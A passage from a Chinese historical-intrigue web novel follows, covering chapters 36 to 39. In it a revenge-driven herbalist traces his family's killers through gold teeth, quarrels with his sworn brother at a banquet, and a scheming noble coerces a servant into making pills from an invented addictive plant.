陈奉令房中搜到刺杀于克明的同款飞镖,推翻了陈庆升只是监视竞天公主的说辞,陈家妄图谋反,铁证如山。
九族受牵,人员清点,待发配流放。
陈家三个公子早已抛下妇孺老弱连夜外逃,害的一家女眷跪在地上接受拳打脚踢,痛哭流涕,实在无法交代出逃犯下落。
朱帝颁发全国通缉令,捉拿陈氏三兄弟。
不到午时,陈大爷落网,二爷陈锋令的尸首从万花楼伎女身上抬下来,死于中毒。
从昨夜潜入陈家留下栽赃飞镖后,一直暗中监视着案子进展的耿正,找到相熟的仵作,带姜凌嚣见到了陈锋令的尸首。
中毒表征与暗杀他的死者一模一样。
姜凌嚣拿根铁棍撬开陈奉令的嘴。
果不其然,后槽牙果然有颗金牙,杀手同款。
36. 亵渎神明
之前能提供线索的金铺,早就在伙计全家被烧死后连夜搬空,消失无踪,彻底失去线索。
陈锋令的金牙泛着的金光,是查找灭门姜家凶手的曙光。姜凌嚣去找沈丘染帮忙,看能不能挖出点新线索。
几经转折,在得胜大酒楼找到沈丘染,他已喝了个脸红,人十分高亢,拖着姜凌嚣上楼,“三哥来得巧,没外人,一起聚聚。”
他手劲大,又扯住了姜凌嚣使不上劲的右胳膊,姜凌嚣只好随他上楼。
一开包间门,姜凌嚣脸色瞬间变得很难看。
沈戚风坐在上首,今天是他的主场。
陈家一倒台,党羽受牵落马,空出许多职缺。沈戚风顶了死人陈锋令的缺,升了官,春风得意,大宴宾客。
姜凌嚣扭头要走,沈丘染将他死死拉住,低声乞求:“好三哥,你这样甩个冷脸走了,我面子搁不住。”
五弟极爱脸面,姜凌嚣为他迟疑。
阮太医也在,跑过来和沈丘染一起把姜凌嚣摁到了座位里。
姬有德马上和人换了位子,坐到姜凌嚣身边,递过新的碗筷,满上酒,跟着沈丘染一起叫“三哥”,笑脸憨厚。
这么多人的面子不好不给,姜凌嚣勉强留下。
姬有德亲切地要给姜凌嚣布菜,沈丘染特意交代:“小姬,我三哥不吃肉。”
“为什么呀?”
沈丘染还记得于克明张罗的那场宴席上,姜凌嚣说过为了中毒的小虎能够平安苏醒,跟神明交换了条件,从此守戒食素。
自己随口说的话被记得这样久,姜凌嚣对沈丘染感激一笑。
姬有德跟姜凌嚣碰杯,自述最近去了康凌郡才回来。
姜凌嚣无意与纨绔子弟深交,淡淡敷衍:“康凌郡是不是没京城好玩儿?”
“我是受皇命去跟拜基藩国谈议和亲,只有晚上才有自己的时间,没地方可玩,就爬山。倒是在山上遇到些奇景,正想请教三哥······”
还没说完,喝大了的沈丘染亢奋举杯,敬谢朱帝和太后,感激父亲养育与栽培,连曾经的教书先生、往昔同僚也念叨了一遍,和同样荣耀门第的沈戚风碰杯,唯独没提到眼前的姜凌嚣。
沈戚风得意洋洋:“我们沈家本是书香门第,朝中什么好事都轮不到我们读书人,自五弟战场归来后,沈家才开始转运得势,扶摇直上!”
沈丘染军功在身,酒后是有些掩饰不住的得意,勾住沈戚风脖子:“好二哥,别什么话都往外说。”
当着外人,沈戚风格外做作,捏起嗓子:“哎,在下记住喽,我的英雄弟弟!”
哄堂大笑后,诸人轮番朝志满意得的沈家兄弟敬酒,比赛吹捧:“沈门荣耀,朝廷栋梁!”
沈丘染喝得直不起腰,索性趴在沈戚风肩膀,半睡半醒。
姜凌嚣自斟自饮,喝红了眼,看向沈丘染的眼神逐渐变得复杂。
除了他自己,所有人,包括沈丘染都已忘记——
如若不是强迫他“为国捐躯”,没有沈家的加官晋爵,遑论升迁!
不是沈丘染做了沈家的垫脚石,是“沈凌嚣”!但他们踩着自己往上的时候,无视了他的牺牲!
灭门的仇恨,是只属于他独自的炼狱。复仇路上的耻辱与艰辛,注定只是他一个人的史诗。
姜凌嚣终于明白,他和沈丘染,压根、不是、一路人。
他怒血倒流起身,来到走廊无人的角落,对着廊柱恶狠狠捶了一拳,白皙的指节瞬间紫红,像他此刻熟烂的伤心。
阮太医寻过来,看了眼姜凌嚣手上的淤痕,拍拍他肩膀,语重心长:
“忍下去,与沈家和好,借势搞个一官半职,不要空浪费一肚子才华。
即便不当官,继续做生意起码有沈家罩着,少摊些兵饷的无妄之灾。
我估计沈丘染也是这么想,想做你和沈家修复的中间人,所以非留你在这。”
姜凌嚣双眼通红,不屑:“我不需要。”
阮太医正色:“你打算一直干那些上不得台面的事吗?”
“我为亲人为自己复仇有何之错!”
“没错,有情有义,有胆有种。但你被暗杀后死里逃生,上天给了你崭新的机会,或许你外祖母更希望看你好好活下去,在光明里。”
“哼,做官就是光明吗?沈戚风站到光里了吗?沈丘染双手沾的鲜血属于几条命的,还数得过来吗?你和我同流合污,身上也有光吗?”
阮太医被误伤,倒也没看出丝毫介意,“凡事做过,必留痕迹,没有实证,也有神明。没有神明,也有突如其来的判官,瞧瞧,我此刻就在被审判着嘛。”
“······”
姜凌嚣自知失态,“对不住。”
作为波诡云谲宫斗中活到最后的人,阮太医才不介意毫无实质伤害的言语中伤,他最后忠告:
“人没有非黑即白,区别就是这个黑比白多,那个白比黑多,跟萤火虫似的,有的发光亮一些,有的暗一些。
不要小瞧萤火之光,聚得足够多,就成了亮光,照亮的前途叫正义。荧光不够,路就黑漆漆的,叫邪恶。
人只要活着,就免不了上那条黑路走几步,但大都赶紧回到有亮光的路上了,走得心安,稳重。一直在黑里走,一定会摔跤,一定会撞墙,甚至会跌进万劫不复的深渊,因为坏有没有尽头。”
可能在以前的几次摔跤后,听到这些真挚的劝告,姜凌嚣会有动摇,但现在,他有遏制都要溢出来的膨胀:“难道于克明死得不够大快人心吗?”
“卖国贼杀得好!这事办得妥妥妥!”阮太医遏止好言相劝,改为附和。
头顶上“呼啦呼啦”盘旋个黑东西,阮太医眯眼:“这黑乎乎的是什么?蝙蝠?”
姜凌嚣抬头,是小虎一直养着的那只疯疯癫癫的八哥。
转移掉话锋,阮太医立刻转身进屋,继续老脸卖笑,左右逢源。
“咚——”的一声唐突,惊吓到满屋子的人。
八哥横冲直撞进屋,落在灯台上,嘎嘎大叫:“妥妥妥!”
刚才说的话转头被泄露,阮太医吓的杯子掉地,脸色蜡黄。
沈丘染醉眼迷瞪:“这鸟都是学舌,一定是从哪儿听到这么句话。本官问你,‘妥’什么?”
姜凌嚣进门,盯着八哥,想杀了它,但它钻进了房梁里,继续大叫:“妥妥妥!”
沈戚风大着舌头:“脱脱脱?嘿嘿,叫几个名伎来,一起脱脱脱!”
“哈哈哈!”醉鬼们狂笑,淹没八哥的叫声。
阮太医陡然高叫:“我要回家!”
“怎么了,老太医?”
阮太医颤颤巍巍,带着哭腔往门外跑:“年轻时候管不住下半身,老了一样管不
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住,我要回家换裤子。”
“哎唷,一听说找女人脱衣服,这么大年纪了,还能激动的下种子呢?”
沈戚风摸到了阮太医坐过的椅子,沾了满手湿,以为是酒,舔了舔,破口大骂:“操,老头子尿裤子了!”
八哥顺着窗缝飞走了,暂时不会告密了。
可谁能预测到今后又在哪时哪刻,旧事重提。
阮太医说的那句“凡事做过,必留痕迹,没有实证,也有神明”,似乎在隐隐显现。
姜凌嚣心口发堵,惴惴不安。
有八哥就有小虎,她抱着狗闯进门,对姜凌嚣喜滋滋炫耀:“五弟送我的狗那天没带回家,紫玉今儿给我送来了,一会儿我要带回家。”
姜凌嚣回神,一口否决:“不行。”
“为什么!”小虎和沈丘染异口同声。
今日真是人人都有同盟,就自己孤立无援,姜凌嚣瞬间恼怒不堪,“我说了不行,就是不行。”
姜凌嚣几乎没拒绝过自己,今日特别不容商量,小虎不顾酒桌上还有那么多人,大吵大闹:“不行你说个理由。”
“砰”,酒杯在姜凌嚣指间捏碎,脾气上脸。
沈丘染忙起身解围,让小虎抱狗回家,“他喝醉了,酒醒了一准儿同意你养狗。”
姜凌嚣睨向沈丘染的眼神异常冷硬,带刺,“这事没有转圜。”
他单方面的剑拔弩张,将风光的沈丘染弄了个下不来台。
更令沈丘染瞠目结舌的,姜凌嚣自己夹了口肉到嘴中,破了吃素的戒。
他当众亵渎了对神明的虔诚。
小虎抱着狗气跑了,姬有德不由自主跟着她下楼,来到店门外。
酒楼门口有辆崭新的豪华马车,小虎不管不顾,抬脚“哐哐”乱踢撒气。
姬有德注视着小虎,一脸娇羞倚在马车上,“这是沈戚风庆祝发迹,新买的车。”
小虎踢得更狠了,最后收脚时差点摔倒。
姬有德赶紧上前扶住,讨好:“姜凌嚣不让你养,你可以把狗养在我家。”
小虎抬眼,看到是个塌鼻子方脸的丑货在跟自己说话,没好气:“你是谁?算老几?”
姬有德老老实实答:“我是姬有德,家中排行老三。”
他掏出颗糖,递给小虎。
小虎抱着狗,腾不出手,低头舔糖到嘴。
她的舌头不小心触到了姬有德的手心,濡湿温热,他身躯一震,忽然低头,亲了她额头一下。
“啪”,小虎抽在姬有德右脸,留下个五指印,“抱狗腾不出手,扇人可以。”她很嚣张。
姬有德立刻站直身子,乖乖的:“对不起。”
“啪”,小虎又赏了姬有德左脸一巴掌。
姬有德委屈:“我没再冒犯,你还打我。”
小虎叫嚣:“一个巴掌叫惩罚,一个叫你长长记性。”
正说着,给狗买肉骨头的小炸药气喘吁吁赶来,满头大汗,他拽起衣摆擦头时,露出腰间的狗牙挂串。
姬有德眯缝眼登时睁大。
刚才在饭桌上,他没给姜凌嚣讲完的那句,正是——
此去康凌郡,他在一个爆炸过的山洞里,发现了有人暗中炼制地藏蕨和丹料,正不知其何人所为。
但他捡到了一条狗牙挂串。
和小炸药腰间的一模一样。
37. 黄雀深藏
一个月前,姬有德入境康凌郡,白天与拜基藩国和亲队商议公事,一到傍晚十分清闲。
幸好他南下带来了心爱的猎狗,每每用过晚饭,喂过狗,就带它四处游逛。
某个傍晚,正山林中穿行,猎狗不知嗅到了什么,突然眼睛冒出绿光,发了疯一样狂奔。
追到一片荆棘丛前,狗停住,对着前方狂吠,姬有德跟过来。
眼前一幕将他深深震撼。
数条像龙一样的庞大蟒蛇在荆棘丛中“唰唰”扭动,荆棘刺进蟒身,血肉模糊,依旧阻止不了巨蟒扭动前进。
天上蝙蝠,地下蛇鼠更是无数,像受蛊一般,蜂拥向前。
前面是座山,似乎有股召唤魔力。
姬有德点火烧了脚下荆棘,用火把烫四周乱飞的黑影,空气中瞬间弥漫起焦臭味,蝙蝠“扑扑”掉落。
猎狗像遭了严重的饥饿一样,扑过去,疯狂吞噬,似乎越吃越饿,越吃越凶,目露凶光,吞咽声扭曲可怖。
姬有德呆了一呆,直到走至山前,才看清这是个山洞,洞口被泥巴和大石板牢牢封死。
洞口壁上有两个很深的圆坑,姬有德比划了几下,尺寸像两颗掌旋球,他猜测,曾有两颗球嵌在了里面,后来被人挖走了。
他用刀子撬开封洞的泥巴,搬开大石板。
“轰——”一声巨响,洞里蛇鼠蝙蝠挤成的肉山向洞口倒塌,飞的飞,爬的爬,霎时将洞口外的黄昏与土地遮成一片黑。
姬有德忙挥舞火把护身,身上还是落了不少蛇要啃他,他忙揪住七寸掐断,纵火烧掉。
而他的爱犬却没那么幸运,蛇鼠蝙蝠擦身而过,顷刻间将它啃的只剩一副白骨架,微风轻轻一吹,“哗啦”一声,碎了一地骨头。
姬有德连个遗憾的表情也没有,甚至笑了一下,转头入洞勘察。
洞壁黢黑,有爆炸烧焦的痕迹,地上有烧毁的人骨,炸烂的炼丹炉,各种破碎的木桶、瓶瓶罐罐。
姬有德判断,这是个炼丹房,规模还不小。
有片罐子的碎片上粘着黑乎乎的胶质,他捡起来嗅嗅,散发着说不出的怪味,不由尝了一口。
“呸!什么味儿!”
姬有德鄙夷地丢掉黑胶,却发现没过多久,有点晕乎乎的上头,心里没来由的高兴,黑黢黢的山洞空中仿佛漂浮起瑰丽的漩涡,要把他吸进去。
“咻”一下,一条皮开肉绽的蟒蛇从洞口冲进来,精准寻到他扔掉的瓦罐碎片,一口将其吞下。
蛇吃老鼠不稀奇,吃瓦片?姬有德诧异地盯着诡异的大蟒蛇。
瓦罐碎片刺穿了蟒蛇的肚子,它似乎不仅不感觉到疼痛,反而舒缓下来,盘成一圈,满足地休眠了。
姬有德揉了揉眼睛,确信自己不是看花了眼,终于明白过来,就是这黑色的胶质,引诱来了无数蛇鼠蝙蝠为之疯狂。
他捡起地上残破的炼丹炉,大胆猜测,若以黑胶为原料炼丹,给人吃了,那便是彻底的俘获与控制,可攫取源源不断的财富!
狼藉的现场说明,有人发现了这个炼丹房不可告人的秘密,被炸死灭口。
只要搞懂这黑胶是什么,自己就可以炼丹,不久便可富可敌国!
姬有德兴奋地在洞里走来走去,踩到一个硌脚的东西。
他捡起来,拿在火把下一瞧,是一条红绳编的狗牙挂串。
今日见到了小炸药,一切不解之惑,全都有了答案。
翌日,快午时,玄明殿门口,不时传出朱帝大发脾气的尖叫声,文武百官鱼贯而出,个个愁眉苦脸,唉声叹气。
出了一个心存不轨的陈庆升,人人在朱帝眼中都有结党忤逆嫌疑,遭受了一轮又一轮的审查,这官当得如履薄冰,心惊胆战。
只有沈丘染面无惧色,反正他身正不怕影子斜,随便查证,昂扬快步走在前面,不屑与官僚气严重的老臣为伍。
姬有德追上来,沈丘染趁机为姜凌嚣鸣不平:“昨儿宴席上我就想找你,你早早走了。听说你在外开了个药店,复刻玄虎丹,还叫玄龙丹,明着抢买卖,真不地道!”
姬有德赶忙撇清:“五哥,那都是陈老二的主意!我又做不了主。”
“哼,陈锋令现在守口如瓶,你只管往死人身上推。”
不过,沈丘染倒对姬有德印象还可以,打小周围的纨绔子弟都有不少丑闻,但姬老三没有,顶多就是陈奉令的跟屁虫,人没什么大主见,也不算坏。和他爷爷老姬比起来,小姬能算清流。
所以,沈丘染批评了几句,也没再继续深究。
姬有德笑眯眯的:“五哥,听说你在康凌郡的时候,跟于家很熟。”
于克明刚畏罪死了没几天,造成的恶劣影响今犹在,沈丘染不愿沾染是非,警惕:“浅交。问这个干嘛?”
姬有德赔个憨厚的笑容:“我在康凌郡的时候听说,于太守失踪的弟弟里,有一个喜欢盘掌旋球?”
“跟我有什么关系!”
“我在某个山洞口,似乎见到过他的掌旋球。”
于氏二兄弟的案子虽早破了,但尸骨一直未能确定下来,怎么随身物品会突然出现在山上?
沈丘染疑惑地顿住步子,“哪座山?”
姬有德挠挠头:“叫不上名字。”
沈丘染伸手:“掌旋球呢?”
“没有,我只是怀疑,因为被人挖走了。”
“没球你说个球!”
沈丘染最讲究物证,丢下姬有德,大摇大摆掉头,朝宫门走去。
出宫后没走多远,沈丘染的马车忽然停住,他撩开车帘:“怎么回事?”
马夫指向前方。
昨天酒桌上的争执,姜凌嚣甚觉抱歉,专程来给五弟道歉。
“谁没有喝醉的时候?道歉就生分了。”沈丘染豪迈拉姜凌嚣上车,指挥马夫到前面茶馆,他正有事找三哥询问。
后面,姬有德的马车不远不近悄悄跟着。
茶馆小包间,沈丘染关上门,掏出个精致小瓶,花纹繁复艳丽,异域风情颇浓。
姜凌嚣一眼断定小瓶出自盛产地藏蕨的棉涤国,不由警惕难安。
沈丘染刚拧开瓶盖,地藏蕨的特殊气味就飘了出来,姜凌嚣故作掩鼻:“什么东西,这么难闻?”
“这叫地藏蕨,产自康陵郡以南的棉涤国。就是于克新的马铃铛里的那东西,不记得了?这气味多令人难忘呐。”
姜凌嚣恍然大悟似的:“我说呢,好像在哪里闻过,又记不起来。你怎么还在查这个?难道又追踪到了什么?”
“地藏蕨出现在于克新案子时,我只用来气味追踪凶手,并没过多了解。
直到边疆战争,士兵从战俘身上搜来许多这东西,发现内服止痛有奇效,人人争而服之,现已有几十人上瘾,压根无法戒断!”
完蛋,地藏蕨的功效暴露了!姜凌嚣手一抖,“哗啦”,茶碗滚到桌下。
沈丘染看着他:“你也痛恨士兵荒废?”
“那是自然!”姜凌嚣义正言辞,倒也发自真心:“士气萎靡,怎可保卫家国长宁?国无宁日,必损工商。”
沈丘染满眼痛惜:“那几十个滥服滥用的兵废了,救不回来了,只能及时遏止坏风气,我已上报朝廷,请求封锁边疆,严防死守地藏蕨流入大峪国,以免侵蚀百姓。”
本来就因地藏蕨断供,不得不限时开店。
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今后官府加强防范,地藏蕨汁入不了境,简直釜底抽薪。
姜凌嚣心底发恨,嘴上还要叫好。
提到百姓,沈丘染捶了下桌子,五官痛苦得扭曲:
“该死的战争,死了一万五千七百四十四名手无寸铁的老百姓,河都被染红了!
我也杀红了眼。有很长一段时间,我看天看云,甚至看草都是红的。
三哥,不怕你笑话,我现在不能吃任何荤腥,连红腐乳都不能看到。”
杀人后不能吃肉,姜凌嚣有经验,“这道无形的戒令终会被吃肉的本性打破,或早或晚而已。”
“说的跟你杀过人似的。你没上过战场,只在草药堆里打滚,过的是小老百姓的柴米油盐日子,压根不知道血雨腥风是多么残酷和令人恶心。”
这话多少有种居高临下,姜凌嚣没有像以往岔开敏感话题,而是铤而走险挑衅:“也许我杀过,只是你不知道。”
沈丘染不以为意,轻飘飘一笑:“你懂什么!你吃素是为了祈求红颜平安,我那是因为保家卫国落下的后遗症,不一个量级。
所以你轻而易举就破戒了,我这个还不知道什么时候恢复。”
他可真把自己当个不平凡的人物,优越感满溢,姜凌嚣心里堵得慌,表情变得不太友善。
沈丘染把先自己聊恶心了:“不许再提肉。”
说来道歉不过是个借口,姜凌嚣趁机转到真正目的上:“我在寻找灭门姜家的幕后凶手。”
沈丘染正色:“我能帮什么忙?”
姜凌嚣掏出一颗金牙:“这就是害死我外祖的凶手的线索。陈锋令嘴里也有一颗。”
尽管万分同情姜家惨案,但沈丘染有着军人的敏锐:“你怎么知道陈锋令嘴里有这样的金牙?”
“我才见过。”
“才?是什么时候?在哪里见过?”
姜凌嚣终于忍不住了,冷不丁吼了一声:“你什么语气?在审问犯人?”
沈丘染懵了一下,觉得自己无辜,又愣了一下,才感觉到自己可能过于官方了,他哈哈大笑拍着姜凌嚣的肩头:
“三哥,对不住,我军营里一板一眼待久了,习惯这么发问。刚姬有德见了我,我也这么问的他,他说……”
姜凌嚣不太领情打断:“你也太不收敛那股子得意劲儿了!一会儿说我是小老百姓,一会儿又说我们不是一个量级,你当官就格外高贵?”
说完,他觉得这话有点酸溜溜的,把那句“没我,你能入职,一路平步青云?”咽了下去。
“我也没别的意思,就是陈奉令死了,官方封锁着消息,正排查凶手呢,现在谁打听,谁就容易惹一身骚。算了,说多了你又多心。”沈丘染戛然而止。
两兄弟之间,第一次出现了尴尬的沉默。
过了会儿,沈丘染先缓和气氛,拿过金牙捻捻上面的小开关,轻声:“你怀疑凶手是陈家?陈家已经败落了,除了已经死了的,就是快死的,真要是他们,也算是报应。”
陈家和姜家毫无瓜葛,姜凌嚣直觉他们不是凶手,而是凶手的关联人,他摇头:
“陈锋令的大哥落网入狱,你能不能提审,看看他嘴里是否有这样的金牙?或者他知不知道陈奉令金牙的来路?”
天牢基本由姬家掌控,提审有很大的难度。何况自己打了胜仗,分割了一部分兵权,被姬无心视为眼中钉,肉中刺,一有风吹草动,便被强烈针对。
沈丘染沉吟片刻,还是应了下来:“沉冤昭雪的事,我一定帮!”
两人身后墙壁的另一面,扣着一个掏了底的笔筒,筒口贴着一只耳朵——谈话听得清清楚楚。
姬有德露出狡诈的笑容。
38. 皮
答应了寻找金牙线索,沈丘染当夜就到了天牢,买通狱卒,问话陈家老大陈奉邦。
陈奉邦是个不经风霜的纨绔少爷,来大牢第一天看到刑具就吓破了胆,问什么答什么,还张嘴展示金牙。
据他交代,镶金牙是前年突然在公子哥中新兴起的,朝中大臣的儿子们,不少都镶过,不止陈家兄弟有。
沈丘染拧眉:“什么破流行?我怎么不知道?”
陈奉邦:“你整天忙于练武习字,不跟我们一起厮混,哪知道我们圈子里的事。金牙嘛,一张嘴就能露出来,随时显示富贵。”
“闲得你们蛋疼。这事儿总得有个挑头的,在哪儿镶的?谁先镶的?”
“就在‘天祥’金铺,谁先镶的忘了······对了,带我们去的是姬有德。”
“姬有德?”
那个憨憨傻傻,只会吃皇亲国戚老本的纨绔子弟?天天跟在陈锋令屁股后面当狗的窝囊废?
沈丘染难以置信,恐吓:“你不要死到临头乱咬!”
陈奉邦磕头不迭:“我哪儿敢啊,是不是不能镶金牙?您不喜欢,给我拔了都成,只要饶我一命!”
门口传来一阵嘈杂声,紧接着武装齐全的官兵占领了牢房。
一双狼头尖靴踱步进来,姬无心站定,命令:“带走重犯,关押地牢,不得任何人接触。”
陈奉邦被套上铁嚼子拖走。
姬无心狼眼凝视沈丘染:“私自提审谋逆要犯,按律当同罪株连。沈将军知法犯法,当心牵连无辜。”
所谓无辜,就是拿亲朋威胁,沈丘染不怕别人威胁自己,但不能忍受任何无辜因自己而受牵连。
他提拳走到姬无心面前,红眼如鹰,恶狠狠警告:“敢动我家人朋友,你信不信我还真就知法犯法,拉一群对家来垫背!”
气咻咻出了天牢,沈丘染去了趟姜凌嚣提到的天祥金铺。
早已人去楼空。
铺子占了三层楼,看样子是有底子有野心大干一番的。地处京城最繁华的街头的位置,倘若真干不下去,转租出去也是一大笔钱,不至于荒废着。
事出反常必有妖。
虽查案不在沈丘染职责范围内,但因为姜凌嚣,他势必会追踪到底。
姬家酒窖在地下,共有三层,每层有上百个酒架,排列整齐有序。
每个酒架上都摆满了各式酒坛,贴注“汾酒”、“灞陵酒”、“延州灰酒”等地域特产酒,也有“桂酒”、“枣酒”、“梅酒”等味酒,数不胜数。
尽管封紧了坛盖,依旧有不同层次的酒香味氤氲而出。
往里走,最底层,有几排货架上的酒坛,反常的没贴酒标,旁边站着几条黑影。
火光照亮,是姬有德,他随手拿起一坛,揭开盖子,一股奇异的味道迅速压制住空气中的酒香味。
玄龙堂的炼丹师捂住鼻子:“这什么酒?味道好怪。”
姬有德笑:“地藏蕨。”
“干嘛用的?哪儿来的?”
在山洞发现功效奇特的黑色胶质后,姬有德随时带胶在身,四处打听这到底是什么,结果康凌郡各大药房都不知道。
直到与和亲队接触的时候,拜基蛮子告诉他,这是用地藏蕨汁熬制的,产地就在拜基更南方的棉涤国,止疼有奇效。
姬有德出境南下,到了棉涤,买回成桶的地藏蕨汁,偷偷调换到和亲队为朝廷带的酒坛中。
回到京城,再次掉包,将酒窖里的酒灌进进贡的酒坛里。
因为是和亲队送的礼,假使朱帝和太后喝出不是拜基国的酒,也绝不会说不对劲。
姬有德拍着炼丹师的肩膀,眯缝眼里辨别不出任何情绪:“把地藏蕨熬成胶,加到丹里。”
谁知,第一步就做不到。
一是难以成胶,二是三天三夜过去,用尽各种香料,都无法掩盖地藏蕨的特殊气味,尤其加到成分复杂的丹料中,会产生恶臭味。
最终,丹还没造出来,地藏蕨倒是毁了几坛子,损失惨重。
姬有德叫停炼丹师,皱眉思索许久,忽然脸上浮起狡黠。
傍晚,姬有德蹲守在一家小酒馆门外,手里捧着个古董花瓶。
等了半个时辰,小炸药从小酒馆出来,姬有德立刻装作路过,不小心撞个满怀,瓶子“咣当”摔烂。
姬有德副手抬手就扇了小炸药一巴掌,“你眼瞎!”
小炸药捂着脸:“你怎么能打人呢?”
“打你是轻的,这是献给皇帝的珍宝,就你这寒酸样,把你全家骨头砸吧砸吧卖了也赔不起!”说着,副手揪住小炸药衣领,举捶砸下来。
就在拳头要落在小炸药脸上时,姬有德拽住副手,“哎”了一声:“小兄弟好眼熟,是不是小虎姑娘家的下人?”
小炸药连连点头:“原来是姬三爷,小的有眼无珠。”
姬有德训斥副手:“撒手,不许莽撞,自己人。”
他还好心替小炸药理理衣襟,热络聊起家常:“小虎姑娘的狗能带回家了吗?”
前几天在酒楼,姜凌嚣大发脾气不让养狗,小虎认识了姬有德,把狗寄养在了他这里,每天来看。
“我们东家还是不许养狗,怕狗毛掉进丹料里。”
姬有德遗憾:“家里母狗生了一窝小狗,还想送她一只作伴呢。”
小炸药喜欢狗,忍不住问:“什么狗?”
姬有德微笑道出一个品种。
小炸药忙捞起腰间的狗牙挂串,惊喜:“我也养过那种狗!”
但他很快低落,没跟着姜凌嚣时,他穷的吃不起饭,狗也跟着遭罪,没活多久就死了,他拿狗的上下牙做了两副挂串,但其中一条在康凌郡的时候丢失了。
姬有德听了,十分感动,眯缝眼虽然看不清有没泪,但他使劲抹了两下眼皮,豪爽:“我送你一只,要是姜凌嚣不同意,我也替你养着,等你有了条件,再接它回去。”
“你为什么送我?”
“天下爱狗的人,有坏人吗?”
姬有德一把搂住小炸药脖子,一起来到玄龙堂后门。
院门一开,满院子的狗笼,关着几十只凶猛的恶狗,个个体型庞大,呲牙咧嘴,吠声如狼,戾气冲天,毫无家狗的温和可爱。
小炸药看得不适,“这……哪有家狗?”
大门一关,姬有德变脸:“交出玄虎丹的配方。”
小炸药大骂上当受骗,转身要逃。
狗笼已被齐齐打开,恶狗团团围住小炸药,张开饥饿的血盆大口,发出“嗷嗷”饥饿声。
姬有德扔来一条同款狗牙挂串,坏笑:“你找不到的挂串,我找到了,就在康陵郡一个炸毁的山洞里。”
小炸药捧着挂串,傻眼。
来京路上,耿正揪出了犯错的刘坤,然后刘坤再也没出现过。
姜凌嚣对待背叛狠辣,丝毫不讲情面,小炸药不敢拿性命赌,拒绝姬有德的造丹请求,“东家对我和我老娘恩重如山,我不能背叛他。”
姬有德系上条皮围裙,走到院中的屠宰台前,吹个口哨。
一头大黄牛被几个强壮的打手抬上屠宰台,牛“哞哞”凄厉反抗着,一蹄子蹬倒了两个打手,犄角调换角度,眼见就要斜刺进姬有德腹部。
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姬有德抄起根棍子一挥,“咚”的一声闷响,牛不叫了,“嗵”地砸回屠宰台,牛鼻子喷出白色热汽,眼睛不屈地转了转,准备缓冲,进行二轮攻击。
“噗嗤”,一把尖刀已捅在牛颈,姬有德丝毫不给牛反攻的机会。
鲜血喷了小炸药一脸,牛眼里流出两行血泪,他打了个激灵,仿佛看到了自己的凄惨下场。
打手们提起小炸药,扔进炼丹房,“扑嗵扑嗵”殴打。
副手展开一个大号的皮夹子,露出样式、大小不一的刀具。
姬有德换了把小刀,熟练地给牛剥皮。
“哧啦、哧啦”的剥皮声中,夹杂着房内的殴打声和惨叫声,混成姬有德喜欢的岁月静好的声音,脸上绽出憨厚的笑容。
不多久,之前还在奋力反抗的大黄牛被切成了一块块死的红肉,姬有德捡起一块最好的颈间肉,喂给小虎的那只小白狗。
没得到牛肉的大狗“咣咣”撞击着铁笼,对着小白狗狂吠,露出凶恶的獠牙。
姬有德让人开了狗笼,往空中抛带血的牛肉。
几十条体型庞大的恶狗齐齐弹跳,四肢在半空高展,活脱脱像一群集体失了智的壮男人,追着血水捕肉,场面说不出的阴暗恐怖。
而姬有德笑得纯真。
“姬有德!”大门外传来模糊的女声。
手下还没听出喊的是什么,姬有德已经解了围裙,捋捋头发,整整衣领,“赶紧把狗关起来!”
影壁墙后,小虎拐进来。
恶狗被关后,报复性的狂吠,尤其对着看起来很好吃的小虎,啃着铁笼子,发出“咯吱咯吱”的硌牙声。
小虎站在原地不动,姬有德跑过来护她:“别怕。”
哪知,她转身捡起根铁棍子就捅进狗笼,对着最凶的那只狗猛捶乱捣。
“我都来好几次了,还朝我叫!混账姬有德,以后不许养这种狼不狼狗不狗的鬼东西!”她比恶狗凶,直把狗牙花子捣烂捣出血。
狗叫得更凶了,正好遮盖住了屋内殴打声和小炸药的最后一声求救。
姬有德窃笑,抱出笼中小白狗,讨好地递过来。
小虎接过狗,见它嘴角沾着鲜血,不由皱眉:“你给它吃什么了?”
“牛肉,我亲自杀的。”姬有德指着流了一地的牛血炫耀,“你要看我杀牛吗?”
小虎抓起姬有德的衣角,给小白狗擦嘴,“又不是杀人,不爱看。”
姬有德激动:“你喜欢看杀人?”
“我喜欢杀你。”小虎没好气,“不许把我的白狗养这么埋汰,沾了血,毛都打结了!”
姬有德乖乖答应:“今后我会把牛肉煮熟,切成小块再喂。”
炼丹房开了条门缝,手下探头:“同意了。”
姬有德笑:“那就赶紧干。”
门关上,传出舀水声。
小虎摸着狗头,伸长脖子:“屋里在干什么?”
“烧水,煮牛肉喂小白。”姬有德也伸手摸狗头,看着小虎的眯缝眼弯弯。
两人正在玩狗,看大门的手下小跑过来,附在姬有德耳边嘀咕,神色紧张地看向炼丹房的方向,眼神询问要不要先停工,避一避。
炼丹房烟囱已冒起了浓烟,地藏蕨胶开熬,一旦停火,就会毁掉来之不易的原料。
姬有德摇摇头,“拦他在外面,我出去见他。”
万一一会儿发生了什么不愉快,姬有德不想让小虎看见,他诓她到酒窖,偷偷上了锁,成功将她隔绝在地下。
姬有德刚回到院中,就被硬闯进门的沈丘染打了一拳在面中,直把他捶进炼丹房。
39. 坏种
门被姬有德撞开,屋内,炼丹炉咕嘟咕嘟烧着,小炸药却不见了。
姬有德副手悄悄看向水缸。
水缸盖着木盖,盖下,水面与缸沿只有不到两指甲盖的距离,小炸药使劲仰头露出鼻孔,努力不发出呛水声,十指抠紧木盖。
从盖缝里望出去,挨了揍的姬有德还保持着往日的好脾气:“出了什么误会?”
沈丘染照着姬有德的脸,砸去一张拆封的密函,面目狰狞:
“康凌郡之战关押的上千俘虏是用来和亲后释放的,以示我大峪国友好,双方休战的!你却将他们全挖了髌骨,使他们接受胯下之辱!
拜基蛮子信奉血债血偿,他们会加倍血仇!你为边疆老百姓考虑过吗?”
姬有德狡辩:“我就是考虑到那些无辜被杀的百姓,才为他们报仇的啊,五哥······”
“砰”,又是照脸一拳,沈丘染揪住姬有德的衣襟,啐在脸上:“你如此十恶不赦,倒整天装得无辜憨厚,还跟我称兄道弟,真恶心!”
“姬家也是你撒野的地方?”姬家打手举刀砍来,沈丘染闪身躲过,刀砍在水缸盖,小炸药赶紧沉入缸底。
“不许放肆,沈侍卫是朝廷的人。”姬有德擦着鼻血,喝止打手。
沈丘染拽过姬有德还要打,猛地吸了几下鼻子,变得十分警觉,鹰视屋内。
炼丹炉突突冒烟,地藏蕨的味道四溢。
沈丘染抄起板凳,“咣”地砸烂炉子,掏出里面正在变粘稠的黑色胶状物。
小炸药绝望地闭上眼,姬有德面色逐渐凝重。
